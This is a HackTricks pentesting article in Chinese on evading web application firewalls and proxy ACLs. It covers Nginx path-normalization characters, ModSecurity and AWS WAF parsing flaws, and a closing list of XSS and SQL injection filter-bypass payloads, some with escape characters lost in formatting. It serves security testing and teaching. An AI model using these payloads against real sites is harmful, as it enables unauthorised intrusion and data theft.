hacktricks/pentesting-web/proxy-waf-protections-bypass.md

12 KiB
Raw Blame History

Proxy / WAF Protections Bypass

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

{% embed url="https://websec.nl/" %}

通过路径名操作绕过 Nginx ACL 规则

技术 来自这项研究

Nginx 规则示例:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

为了防止绕过Nginx 在检查路径之前执行路径规范化。然而,如果后端服务器执行不同的规范化(移除 Nginx 不移除的字符),则可能绕过此防御。

NodeJS - Express

Nginx 版本 Node.js 绕过字符
1.22.0 \xA0
1.21.6 \xA0
1.20.2 \xA0, \x09, \x0C
1.18.0 \xA0, \x09, \x0C
1.16.1 \xA0, \x09, \x0C

Flask

Nginx 版本 Flask 绕过字符
1.22.0 \x85, \xA0
1.21.6 \x85, \xA0
1.20.2 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx 版本 Spring Boot 绕过字符
1.22.0 ;
1.21.6 ;
1.20.2 \x09, ;
1.18.0 \x09, ;
1.16.1 \x09, ;

PHP-FPM

Nginx FPM 配置:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx 被配置为阻止对 /admin.php 的访问,但可以通过访问 /admin.php/index.php 来绕过此限制。

如何防止

location ~* ^/admin {
deny all;
}

绕过 Mod Security 规则

路径混淆

在这篇文章中 解释了 ModSecurity v3直到 3.0.12不正确地实现了 REQUEST_FILENAME 变量,该变量应该包含访问的路径(直到参数开始)。这是因为它执行了 URL 解码以获取路径。
因此,像 http://example.com/foo%3f';alert(1);foo= 这样的请求在 mod security 中将认为路径只是 /foo,因为 %3f 被转换为 ?,结束了 URL 路径,但实际上服务器接收到的路径将是 /foo%3f';alert(1);foo=

变量 REQUEST_BASENAMEPATH_INFO 也受到此错误的影响。

在 Mod Security 的版本 2 中发生了类似的情况,允许绕过一种保护,该保护阻止用户访问与备份文件相关的特定扩展名的文件(例如 .bak),只需通过发送点 URL 编码为 %2e,例如:https://example.com/backup%2ebak

绕过 AWS WAF ACL

格式错误的头部

这项研究 提到可以通过发送一个“格式错误”的头部来绕过应用于 HTTP 头部的 AWS WAF 规则,该头部未被 AWS 正确解析,但被后端服务器解析。

例如,发送以下请求,在头部 X-Query 中包含 SQL 注入:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

可以绕过AWS WAF因为它无法理解下一行是头部值的一部分而NODEJS服务器可以这个问题已被修复

通用WAF绕过

请求大小限制

通常WAF对请求的长度有一定的限制如果POST/PUT/PATCH请求超过该限制WAF将不会检查该请求。

可以检查的应用负载均衡器和AWS AppSync保护的Web请求体的最大大小8 KB
可以检查的CloudFront、API Gateway、Amazon Cognito、App Runner和Verified Access保护的Web请求体的最大大小**64 KB

较旧的Web应用防火墙使用核心规则集3.1(或更低版本)允许大于128 KB的消息通过关闭请求体检查但这些消息不会被检查是否存在漏洞。对于较新版本核心规则集3.2或更高版本),可以通过禁用最大请求体限制来实现。当请求超过大小限制时:

如果预防模式:记录并阻止请求。
如果检测模式:检查到限制,忽略其余部分,并在Content-Length超过限制时记录。

默认情况下WAF仅检查请求的前8KB。通过添加高级元数据可以将限制增加到128KB。

最多128KB。

混淆

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode 兼容性

根据 Unicode 规范化的实现(更多信息 这里),共享 Unicode 兼容性的字符可能能够绕过 WAF 并作为预期的有效负载执行。兼容字符可以在 这里 找到。

示例

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥  --> img src=p onerror='prompt(1)'>

H2C Smuggling

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

IP Rotation

Regex Bypasses

可以使用不同的技术来绕过防火墙上的正则表达式过滤器。示例包括交替大小写、添加换行符和编码有效负载。各种绕过的资源可以在PayloadsAllTheThingsOWASP找到。以下示例来自这篇文章

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

工具

  • nowafpls: Burp 插件,通过长度向请求添加垃圾数据以绕过 WAF

参考资料

{% embed url="https://websec.nl/" %}

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}